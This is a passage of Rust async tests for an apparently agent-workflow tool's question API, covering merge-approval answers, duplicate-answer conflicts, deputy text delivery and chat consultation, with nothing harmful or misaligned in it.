13562            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13563            Some("merge")
13564        );
13565        assert!(send(button).await.is_err());
13566    }
13567
13568    #[tokio::test]
13569    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13570        let home = TempDir::new().unwrap();
13571        let ui = Arc::new(Ui::new(
13572            Queue::at(home.path().join("queue")),
13573            Questions::at(home.path().join("questions")),
13574            Talks::at(home.path().join("talks")),
13575            home.path().join("runs"),
13576            home.path().to_owned(),
13577            home.path().to_owned(),
13578        ));
13579        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13580            let mut q = Question::new(
13581                "run".into(),
13582                crate::land::APPROVAL_NODE.into(),
13583                "land".into(),
13584                "Merge?".into(),
13585                String::new(),
13586                vec!["merge".into(), choice.into()],
13587            );
13588            q.routed_task = Some("task".into());
13589            q.merge_target = Some(crate::merge_decision::Target {
13590                pr: "https://example.test/pull/1".into(),
13591                head: "head-a".into(),
13592                language: "en".into(),
13593            });
13594            ui.questions.put(&mut q).unwrap();
13595            let answer = |c: &str| {
13596                question_answer(
13597                    State(ui.clone()),
13598                    Path(q.id.clone()),
13599                    Ok(Json(
13600                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13601                            .unwrap(),
13602                    )),
13603                )
13604            };
13605            let _ = answer(choice).await.unwrap();
13606            assert_eq!(
13607                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13608                Some(choice)
13609            );
13610        }
13611    }
13612
13613    #[tokio::test]
13614    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13615        let home = TempDir::new().unwrap();
13616        let ui = Arc::new(Ui::new(
13617            Queue::at(home.path().join("queue")),
13618            Questions::at(home.path().join("questions")),
13619            Talks::at(home.path().join("talks")),
13620            home.path().join("runs"),
13621            home.path().to_owned(),
13622            home.path().to_owned(),
13623        ));
13624        let mut q = Question::new(
13625            "run".into(),
13626            crate::github_text::ASK_NODE.into(),
13627            "posting-gate".into(),
13628            "Post?".into(),
13629            String::new(),
13630            vec!["use fallback".into()],
13631        );
13632        q.routed_task = Some("task".into());
13633        ui.questions.put(&mut q).unwrap();
13634        let sent = question_answer(
13635            State(ui.clone()),
13636            Path(q.id.clone()),
13637            Ok(Json(
13638                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13639                    .unwrap(),
13640            )),
13641        )
13642        .await;
13643        let _ = sent.unwrap();
13644        assert_eq!(
13645            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13646            Some("use fallback")
13647        );
13648    }
13649
13650    #[tokio::test]
13651    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13652        let fx = Fixture {
13653            home: TempDir::new().unwrap(),
13654            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13655        };
13656        for choice in [
13657            crate::land::HOLD,
13658            crate::land::REPAIR,
13659            crate::land::APPROVE,
13660            crate::merge_decision::WITHDRAW,
13661            "reimplement:beta",
13662        ] {
13663            let mut q = Question::new(
13664                "old-run".into(),
13665                crate::land::APPROVAL_NODE.into(),
13666                "land".into(),
13667                "Decision".into(),
13668                "Review findings".into(),
13669                vec![
13670                    "merge".into(),
13671                    "hold".into(),
13672                    crate::land::REPAIR.into(),
13673                    crate::merge_decision::WITHDRAW.into(),
13674                    "reimplement:beta".into(),
13675                ],
13676            );
13677            q.merge_target = Some(crate::merge_decision::Target {
13678                pr: "https://github.com/example/repo/pull/42".into(),
13679                head: "exact-reviewed-head".into(),
13680                language: "ja".into(),
13681            });
13682            q.consult = Some(ask::ChatConsult {
13683                talk: "another-conversation".into(),
13684                at: jiff::Timestamp::now(),
13685            });
13686            fx.questions().put(&mut q).unwrap();
13687            let ui = Arc::new(Ui::new(
13688                fx.queue(),
13689                fx.questions(),
13690                fx.talks(),
13691                fx.runs(),
13692                fx.home.path().into(),
13693                std::path::PathBuf::from("."),
13694            ));
13695            let response = question_answer(
13696                State(ui.clone()),
13697                Path(q.id.clone()),
13698                Ok(Json(NewAnswer {
13699                    choice: Some(choice.into()),
13700                    text: None,
13701                    ..Default::default()
13702                })),
13703            )
13704            .await
13705            .unwrap();
13706            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13707            let disk = fx.questions().get(&q.id).unwrap();
13708            assert_eq!(disk.merge_target, q.merge_target);
13709            assert_eq!(disk.consult, q.consult);
13710            assert_eq!(disk.resolution().as_deref(), Some(choice));
13711            assert!(
13712                question_answer(
13713                    State(ui),
13714                    Path(q.id.clone()),
13715                    Ok(Json(NewAnswer {
13716                        choice: Some("merge".into()),
13717                        text: None,
13718                        ..Default::default()
13719                    }))
13720                )
13721                .await
13722                .is_err(),
13723                "an already settled decision cannot turn into merge approval"
13724            );
13725        }
13726    }
13727
13728    #[tokio::test]
13729    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13730        let fx = Fixture {
13731            home: TempDir::new().unwrap(),
13732            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13733        };
13734        let mut state = crate::land::tests::repair_state(true, true);
13735        state.status = RunStatus::Landing;
13736        state.parked = true;
13737        state.driver_exited = true;
13738        let mut task = Task::new(
13739            "Existing PR owner".into(),
13740            state.instruction.clone(),
13741            state.repo.clone(),
13742            Source::Human,
13743        );
13744        task.runs.push(state.id.clone());
13745        task.status = TaskStatus::Parked;
13746        fx.queue().put(&mut task).unwrap();
13747        let mut q = Question::new(
13748            state.id.clone(),
13749            crate::land::APPROVAL_NODE.into(),
13750            "land".into(),
13751            "Contested merge".into(),
13752            "Original evidence".into(),
13753            vec!["merge".into(), "hold".into()],
13754        );
13755        state.land_approval = Some(crate::run::LandApproval {
13756            question: q.id.clone(),
13757            head: "reviewed-head".into(),
13758        });
13759        state.save_under(fx.home.path()).unwrap();
13760        fx.questions().put(&mut q).unwrap();
13761        // A later repair answer on this old card supersedes this manual hold.
13762        task.hold_manual(Some("Pause this PR".into()));
13763        fx.queue().put(&mut task).unwrap();
13764        // POST directly, without a preceding GET: validation must see the
13765        // same durable upgrade that the card, CLI and chat see.
13766        let ui = Arc::new(Ui::new(
13767            fx.queue(),
13768            fx.questions(),
13769            fx.talks(),
13770            fx.runs(),
13771            fx.home.path().to_path_buf(),
13772            state.repo.clone(),
13773        ));
13774        let response = question_answer(
13775            State(ui),
13776            Path(q.id.clone()),
13777            Ok(Json(NewAnswer {
13778                choice: Some(crate::land::REPAIR.into()),
13779                text: None,
13780                ..Default::default()
13781            })),
13782        )
13783        .await
13784        .unwrap();
13785        assert_eq!(response.0.question.id, q.id);
13786        let upgraded = fx.questions().get(&q.id).unwrap();
13787        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13788        assert!(upgraded.detail.starts_with("Original evidence"));
13789        let claim = fx.queue().claim(&task.id).unwrap();
13790        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13791        assert!(
13792            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13793            "an existing driver keeps its claim"
13794        );
13795        drop(claim);
13796        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13797        let resumed = fx.queue().get(&task.id).unwrap();
13798        assert_eq!(
13799            resumed
13800                .resume_override
13801                .as_ref()
13802                .unwrap()
13803                .pinned_run
13804                .as_deref(),
13805            Some(state.id.as_str())
13806        );
13807        assert!(resumed.status.runnable());
13808        assert_eq!(resumed.instruction, task.instruction);
13809        assert_eq!(resumed.runs, task.runs);
13810        assert!(resumed.action_applied(&q.id));
13811        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13812        assert_eq!(fx.queue().list().len(), 1);
13813        assert_eq!(
13814            fx.queue().get(&task.id).unwrap().resume_override,
13815            resumed.resume_override
13816        );
13817        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13818        assert!(
13819            disk.merge_repairs.is_empty(),
13820            "only the claimed run driver may execute repair"
13821        );
13822        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13823    }
13824
13825    #[tokio::test]
13826    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13827        let fx = Fixture::start().await;
13828        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13829        let path = format!("/api/questions/{id}/answer");
13830
13831        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13832        assert_eq!(res.status, 200, "{}", res.body);
13833        let body = res.json();
13834        assert_eq!(body["status"], "answered");
13835        assert_eq!(body["answer"]["choice"], "Redis");
13836
13837        // Answered from the terminal in between the list and the tap: the UI
13838        // must be able to tell this from a bad request, so it can show the
13839        // recorded answer instead of an error.
13840        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13841        assert_eq!(again.status, 409, "{}", again.body);
13842        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13843    }
13844
13845    #[tokio::test]
13846    async fn fresh_api_answers_survive_task_inquiry_migration() {
13847        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13848        for migrate_first in [false, true] {
13849            let fx = Fixture::start().await;
13850            let mut task = Task::new(
13851                "work".into(),
13852                "work".into(),
13853                PathBuf::from("/repo/magi"),
13854                Source::Human,
13855            );
13856            task.runs.push("run-a".into());
13857            fx.queue().put(&mut task).unwrap();
13858            let mut q = Question::new(
13859                "run-a".into(),
13860                "implement".into(),
13861                "impl-A".into(),
13862                "Keep held?".into(),
13863                String::new(),
13864                vec!["hold".into()],
13865            );
13866            q.actions.insert("hold".into(), ChoiceAction::Hold);
13867            fx.questions().put(&mut q).unwrap();
13868            if migrate_first {
13869                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13870            }
13871            let response = fx
13872                .post(
13873                    &format!("/api/questions/{}/answer", q.id),
13874                    Some(r#"{"choice":"hold"}"#),
13875                )
13876                .await;
13877            assert_eq!(response.status, 200, "{}", response.body);
13878            for _ in 0..2 {
13879                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13880                let source = fx.questions().get(&q.id).unwrap();
13881                assert_eq!(source.resolution().as_deref(), Some("hold"));
13882                let decision = Outbox::at(fx.home.path())
13883                    .get(&q.id)
13884                    .unwrap()
13885                    .decision
13886                    .unwrap();
13887                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13888                assert_eq!(decision.source_answer_at, source.answered_at);
13889                assert_eq!(decision.status, Status::Queued);
13890            }
13891            assert_eq!(
13892                fx.post(
13893                    &format!("/api/questions/{}/answer", q.id),
13894                    Some(r#"{"choice":"hold"}"#)
13895                )
13896                .await
13897                .status,
13898                409
13899            );
13900        }
13901    }
13902
13903    #[tokio::test]
13904    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13905        let home = tempfile::tempdir().unwrap();
13906        let ui = delta_test_ui(home.path());
13907        let mut q = Question::new(
13908            "task".into(),
13909            crate::land::APPROVAL_NODE.into(),
13910            "land".into(),
13911            "Explain?".into(),
13912            String::new(),
13913            vec!["hold".into()],
13914        );
13915        q.deputy = Some(ask::Deputy::new("context".into()));
13916        ui.questions.put(&mut q).unwrap();
13917        let mut cfg = stub_config();
13918        cfg.daemon.max_deputies = 0;
13919        let mut status = crate::daemon::Status::new();
13920        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13921        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13922        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13923        let error = question_say(
13924            State(ui.clone()),
13925            Path(q.id.clone()),
13926            Ok(Json(NewSay {
13927                body: "Explain the findings".into(),
13928            })),
13929        )
13930        .await
13931        .unwrap_err();
13932        assert_eq!(
13933            error.text_reason,
13934            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13935        );
13936        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13937
13938        let mut text = Question::new(
13939            "task".into(),
13940            "ask".into(),
13941            "operator".into(),
13942            "Which name?".into(),
13943            String::new(),
13944            vec![],
13945        );
13946        ui.questions.put(&mut text).unwrap();
13947        let Json(view) = question_answer(
13948            State(ui.clone()),
13949            Path(text.id.clone()),
13950            Ok(Json(NewAnswer {
13951                choice: None,
13952                text: Some("chosen name".into()),
13953                ..Default::default()
13954            })),
13955        )
13956        .await
13957        .unwrap();
13958        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13959        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13960    }
13961
13962    #[tokio::test]
13963    async fn question_text_handler_admission_without_transport() {
13964        let home = tempfile::tempdir().unwrap();
13965        let ui = delta_test_ui(home.path());
13966        let mut q = Question::new(
13967            "task".into(),
13968            crate::land::APPROVAL_NODE.into(),
13969            "land".into(),
13970            "May this PR merge?".into(),
13971            String::new(),
13972            vec!["hold".into()],
13973        );
13974        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13975        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13976        ui.questions.put(&mut q).unwrap();
13977        let say = || {
13978            Ok(Json(NewSay {
13979                body: "Explain the findings".into(),
13980            }))
13981        };
13982        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13983            .await
13984            .unwrap_err();
13985        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13986        let response = rejected.into_response();
13987        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13988            .await
13989            .unwrap();
13990        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13991        assert_eq!(body["code"], "question_text_unavailable");
13992        assert_eq!(body["reason"], "deputy_exhausted");
13993        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13994        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13995        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13996        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13997            .await
13998            .unwrap();
13999        assert_eq!(view.text_delivery.state, "live");
14000        assert!(view.question.waiter.is_none());
14001        assert!(view.question.cwd.is_none());
14002        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
14003        ui.questions.drop_lease(&q.id);
14004        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
14005            .await
14006            .unwrap_err();
14007        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
14008        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
14009        let _ = question_answer(
14010            State(ui.clone()),
14011            Path(q.id.clone()),
14012            Ok(Json(NewAnswer {
14013                choice: Some("hold".into()),
14014                text: None,
14015                ..Default::default()
14016            })),
14017        )
14018        .await
14019        .unwrap();
14020        assert_eq!(
14021            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
14022            Some("hold")
14023        );
14024    }
14025
14026    #[tokio::test]
14027    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
14028        let fx = Fixture::start().await;
14029        let store = fx.questions();
14030        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
14031        store
14032            .update(&id, |q| {
14033                q.node = crate::land::APPROVAL_NODE.to_owned();
14034                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
14035                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
14036                Ok(())
14037            })
14038            .unwrap();
14039        let path = format!("/api/questions/{id}/say");
14040        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14041        assert_eq!(refused.status, 422, "{}", refused.body);
14042        assert!(
14043            refused.json()["error"]
14044                .as_str()
14045                .unwrap()
14046                .contains("deputy_exhausted")
14047        );
14048        assert!(store.get(&id).unwrap().thread.is_empty());
14049
14050        // A final live deputy is usable even with no ordinary waiter/cwd.
14051        store.beat(&id, ask::WaiterKind::Deputy);
14052        let view = fx.get("/api/questions").await.json();
14053        assert_eq!(view[0]["text_delivery"]["state"], "live");
14054        let accepted = fx
14055            .post(&path, Some(r#"{"body":"explain the findings"}"#))
14056            .await;
14057        assert_eq!(accepted.status, 200, "{}", accepted.body);
14058        let before = std::fs::read(store.path_of(&id)).unwrap();
14059
14060        // The recipient exits between rendering and sending. Rejection must
14061        // preserve previously accepted text, the answer and delivery cursor.
14062        store.drop_lease(&id);
14063        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14064        assert_eq!(refused.status, 422, "{}", refused.body);
14065        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14066        let held = fx
14067            .post(
14068                &format!("/api/questions/{id}/answer"),
14069                Some(r#"{"choice":"hold"}"#),
14070            )
14071            .await;
14072        assert_eq!(held.status, 200, "{}", held.body);
14073        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
14074    }
14075
14076    #[tokio::test]
14077    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
14078        let repo = tempfile::tempdir().unwrap();
14079        let mut cfg = stub_config();
14080        cfg.daemon.max_deputies = 0;
14081        std::fs::write(
14082            repo.path().join("magi.toml"),
14083            toml::to_string(&cfg).unwrap(),
14084        )
14085        .unwrap();
14086        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14087        let mut status = crate::daemon::Status::new();
14088        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14089        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14090        let id = ask(&fx, "Explain?", &["hold"]);
14091        fx.questions()
14092            .update(&id, |q| {
14093                q.node = crate::land::APPROVAL_NODE.into();
14094                q.deputy = Some(ask::Deputy::new("context".into()));
14095                q.deputy.as_mut().unwrap().agent = "stub".into();
14096                Ok(())
14097            })
14098            .unwrap();
14099        cfg.daemon.max_deputies = 1;
14100        std::fs::write(
14101            repo.path().join("magi.toml"),
14102            toml::to_string(&cfg).unwrap(),
14103        )
14104        .unwrap();
14105        let view = fx.get("/api/questions").await.json();
14106        assert_eq!(view[0]["deputies_enabled"], true);
14107        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14108        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14109        let res = fx
14110            .post(
14111                &format!("/api/questions/{id}/say"),
14112                Some(r#"{"body":"Please explain"}"#),
14113            )
14114            .await;
14115        assert_eq!(res.status, 422, "{}", res.body);
14116        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14117    }
14118
14119    #[tokio::test]
14120    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14121        let fx = Fixture::start().await;
14122        let id = ask(&fx, "No seat", &[]);
14123        let store = fx.questions();
14124        let before = std::fs::read(store.path_of(&id)).unwrap();
14125        let res = fx
14126            .post(
14127                &format!("/api/questions/{id}/say"),
14128                Some(r#"{"body":"hello"}"#),
14129            )
14130            .await;
14131        assert_eq!(res.status, 422, "{}", res.body);
14132        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14133        let res = fx
14134            .post(
14135                &format!("/api/questions/{id}/answer"),
14136                Some(r#"{"text":"hello"}"#),
14137            )
14138            .await;
14139        assert_eq!(res.status, 200, "{}", res.body);
14140        assert_eq!(
14141            store.get(&id).unwrap().resolution().as_deref(),
14142            Some("hello")
14143        );
14144    }
14145
14146    #[tokio::test]
14147    async fn saying_something_appends_a_turn_without_answering() {
14148        let fx = Fixture::start().await;
14149        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14150        fx.questions().beat(&id, ask::WaiterKind::Asker);
14151        let path = format!("/api/questions/{id}/say");
14152
14153        let res = fx
14154            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14155            .await;
14156        assert_eq!(res.status, 200, "{}", res.body);
14157        let body = res.json();
14158        assert_eq!(body["status"], "open", "talking back is not a decision");
14159        assert_eq!(body["answer"], Value::Null);
14160        assert_eq!(body["thread"][0]["who"], "operator");
14161        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14162        assert_eq!(body["waiting_on_agent"], true);
14163        // Still open, still counted, still exactly one question.
14164        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14165    }
14166
14167    #[tokio::test]
14168    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14169        let fx = Fixture::start().await;
14170        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14171
14172        let list = fx.get("/api/questions").await.json();
14173        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14174
14175        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14176        assert_eq!(res.status, 409, "{}", res.body);
14177        let q = fx.questions().get(&id).unwrap();
14178        assert!(q.status.open());
14179        assert!(q.consult.is_none());
14180    }
14181
14182    #[tokio::test]
14183    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14184        let fx = Fixture::start().await;
14185        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14186        let cfg = Config {
14187            agents: vec![crate::config::AgentSpec {
14188                id: "mock".to_owned(),
14189                kind: crate::config::AgentKind::Command,
14190                model: None,
14191                command: vec!["true".to_owned()],
14192                extra_args: Vec::new(),
14193                env: Default::default(),
14194                prompt_delivery: None,
14195                max_turn_secs: None,
14196            }],
14197            ..Config::default()
14198        };
14199        let talk = crate::talk::begin(
14200            &fx.talks(),
14201            &cfg,
14202            fx.home.path().to_path_buf(),
14203            Some("mock"),
14204        )
14205        .unwrap();
14206        let mut task = Task::new(
14207            "t".to_owned(),
14208            "Do it".to_owned(),
14209            PathBuf::from("/repo/magi"),
14210            Source::Agent {
14211                run: talk.id.clone(),
14212                node: crate::queue::CHAT_NODE.to_owned(),
14213            },
14214        );
14215        task.start("20260902-000000-beef".to_owned());
14216        fx.queue().put(&mut task).unwrap();
14217
14218        let list = fx.get("/api/questions").await.json();
14219        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14220        assert_eq!(
14221            list[0]["choices"],
14222            serde_json::json!(["SQLite", "Redis"]),
14223            "the hand-over is never a choice"
14224        );
14225        fx.questions()
14226            .update(&id, |q| {
14227                q.node = crate::land::APPROVAL_NODE.into();
14228                q.choices = vec!["merge".into(), "hold".into()];
14229                Ok(())
14230            })
14231            .unwrap();
14232        let list = fx.get("/api/questions").await.json();
14233        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14234        assert_eq!(list[0]["can_consult_chat"], true);
14235        fx.questions()
14236            .update(&id, |q| {
14237                q.node = crate::bump::NOTICE_NODE.into();
14238                Ok(())
14239            })
14240            .unwrap();
14241        let list = fx.get("/api/questions").await.json();
14242        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14243        assert_eq!(list[0]["can_consult_chat"], false);
14244    }
14245
14246    #[tokio::test]
14247    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14248        let fx = Fixture::start().await;
14249        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14250        fx.questions()
14251            .update(&id, |q| {
14252                q.node = crate::land::APPROVAL_NODE.into();
14253                q.choices = vec!["merge".into(), "hold".into()];
14254                Ok(())
14255            })
14256            .unwrap();
14257        let cfg = Config {
14258            agents: vec![crate::config::AgentSpec {
14259                id: "mock".to_owned(),
14260                kind: crate::config::AgentKind::Command,
14261                model: None,
14262                command: vec!["true".to_owned()],
14263                extra_args: Vec::new(),
14264                env: Default::default(),
14265                prompt_delivery: None,
14266                max_turn_secs: None,
14267            }],
14268            ..Config::default()
14269        };
14270        // Not a git working tree, so its `magi.toml` is read from disk.
14271        let repo = fx.home.path().join("chat-repo");
14272        std::fs::create_dir_all(&repo).unwrap();
14273        let toml = repo.join("magi.toml");
14274        std::fs::write(&toml, "this is = = not toml").unwrap();
14275        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14276        let mut task = Task::new(
14277            "t".to_owned(),
14278            "Do it".to_owned(),
14279            PathBuf::from("/repo/magi"),
14280            Source::Agent {
14281                run: talk.id.clone(),
14282                node: crate::queue::CHAT_NODE.to_owned(),
14283            },
14284        );
14285        task.start("20260902-000000-beef".to_owned());
14286        fx.queue().put(&mut task).unwrap();
14287
14288        let path = format!("/api/questions/{id}/consult");
14289        let res = fx.post(&path, None).await;
14290        assert!(res.status >= 400, "{}", res.body);
14291        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14292        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14293
14294        std::fs::write(&toml, "").unwrap();
14295        let res = fx.post(&path, None).await;
14296        assert_eq!(res.status, 202, "{}", res.body);
14297        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14298        let q = fx.questions().get(&id).unwrap();
14299        assert!(q.status.open());
14300        assert!(q.answer.is_none());
14301        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14302        assert_eq!(res.json()["can_consult_chat"], true);
14303        let list = fx.get("/api/questions").await.json();
14304        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14305        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14306
14307        let res = fx
14308            .post(
14309                &format!("/api/questions/{id}/answer"),
14310                Some(r#"{"choice":"hold"}"#),
14311            )
14312            .await;
14313        assert_eq!(res.status, 200, "{}", res.body);
14314        assert_eq!(res.json()["answer"]["choice"], "hold");
14315        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14316        assert_eq!(res.json()["can_consult_chat"], false);
14317        assert_eq!(fx.post(&path, None).await.status, 409);
14318
14319        let mut talk = fx.talks().get(&talk.id).unwrap();
14320        // This test closes the history view, not an unconsumed consultation.
14321        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14322        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14323        let list = fx.get("/api/questions").await.json();
14324        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14325        assert_eq!(list[0]["origin_chat_closed"], true);
14326        assert_eq!(list[0]["can_consult_chat"], false);
14327
14328        fx.talks().remove(&talk.id).unwrap();
14329        let list = fx.get("/api/questions").await.json();
14330        assert_eq!(list[0]["origin_chat"], Value::Null);
14331        assert_eq!(list[0]["origin_chat_closed"], false);
14332        assert_eq!(list[0]["can_consult_chat"], false);
14333    }
14334
14335    #[tokio::test]
14336    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14337        let fx = Fixture::start().await;
14338        let store = fx.questions();
14339        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14340        store.beat(&id, ask::WaiterKind::Asker);
14341        assert_eq!(
14342            fx.get("/api/health").await.json()["questions_needs_owner"],
14343            1
14344        );
14345
14346        // The owner asks back instead of deciding: the ask bar, the nav badge
14347        // and the title must stop naming this question, because there is
14348        // nothing to decide until the agent answers - `status` alone cannot
14349        // say that, which is the whole reason `questions_needs_owner` exists
14350        // alongside `questions_open`.
14351        let res = fx
14352            .post(
14353                &format!("/api/questions/{id}/say"),
14354                Some(r#"{"body":"why not Postgres?"}"#),
14355            )
14356            .await;
14357        assert_eq!(res.status, 200, "{}", res.body);
14358        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14359        assert_eq!(
14360            fx.get("/api/health").await.json()["questions_needs_owner"],
14361            0,
14362            "waiting on the agent is not waiting on the owner"
14363        );
14364
14365        // `magi ask --thread` replying is what brings the owner count back -
14366        // the same event that would resume the CLI call blocked in `magi
14367        // ask`.
14368        let mut q = store.get(&id).expect("get");
14369        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14370            .expect("reply");
14371        store.put(&mut q).expect("put");
14372        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14373        assert_eq!(
14374            fx.get("/api/health").await.json()["questions_needs_owner"],
14375            1,
14376            "the agent's reply is what should light the banner back up"
14377        );
14378    }
14379
14380    #[tokio::test]
14381    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14382        let fx = Fixture::start().await;
14383        let store = fx.questions();
14384
14385        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14386        let res = fx
14387            .post(
14388                &format!("/api/questions/{empty_id}/say"),
14389                Some(r#"{"body":"   "}"#),
14390            )
14391            .await;
14392        assert_eq!(res.status, 400, "{}", res.body);
14393
14394        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14395        let mut answered = store.get(&answered_id).expect("get");
14396        answered
14397            .answer(Answer::Choice("SQLite".to_owned()))
14398            .expect("answer");
14399        store.put(&mut answered).expect("put");
14400        let res = fx
14401            .post(
14402                &format!("/api/questions/{answered_id}/say"),
14403                Some(r#"{"body":"still there?"}"#),
14404            )
14405            .await;
14406        assert_eq!(res.status, 409, "{}", res.body);
14407
14408        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14409        let mut abandoned = store.get(&abandoned_id).expect("get");
14410        abandoned.abandon("timed out");
14411        store.put(&mut abandoned).expect("put");
14412        let res = fx
14413            .post(
14414                &format!("/api/questions/{abandoned_id}/say"),
14415                Some(r#"{"body":"still there?"}"#),
14416            )
14417            .await;
14418        assert_eq!(res.status, 409, "{}", res.body);
14419    }
14420
14421    #[tokio::test]
14422    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14423        let fx = Fixture::start().await;
14424        let questions = fx.questions();
14425        let mut q = Question::new(
14426            String::new(),
14427            crate::bump::NOTICE_NODE.into(),
14428            "release-watch".into(),
14429            "Release PR approval".into(),
14430            "Saved head".into(),
14431            vec!["merge".into(), "hold".into()],
14432        );
14433        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14434        q.merge_target = Some(crate::merge_decision::Target {
14435            pr: "https://example.test/mebae/pull/100".into(),
14436            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14437            language: "en".into(),
14438        });
14439        q.answer(Answer::Choice("merge".into())).unwrap();
14440        q.answer_delivered = true;
14441        questions.put(&mut q).unwrap();
14442        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
